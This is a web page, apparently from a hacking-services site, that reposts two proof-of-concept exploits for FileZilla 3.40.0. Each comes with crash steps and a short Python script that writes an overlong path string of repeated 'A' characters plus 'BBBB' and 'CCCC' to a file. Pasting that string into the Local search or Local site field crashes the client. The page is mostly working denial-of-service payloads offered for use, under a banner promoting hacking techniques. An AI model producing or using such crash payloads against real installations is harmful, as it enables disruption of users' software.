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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: FileZilla 3.40.0 - "Local search" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 20, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla.py
# 2.- Open buff.txt and copy content to clipboard
# 3.- Open Filezilla (located in bin folder), in top bar click on Binoculars icon (search for files recursively)
# 4.- In the opend window, Set Search type to "Local search"
# 5.- Paste ClipBoard on "Search directory" and click on "Search"
# 6.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("buff.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.


# Exploit Title: FileZilla 3.40.0 - "Local site" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 25, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla-2.py
# 2.- Open crash.txt and copy content to clipboard
# 3.- In "Local site" section paste clipboard and Enter.
# 4.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("crash.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.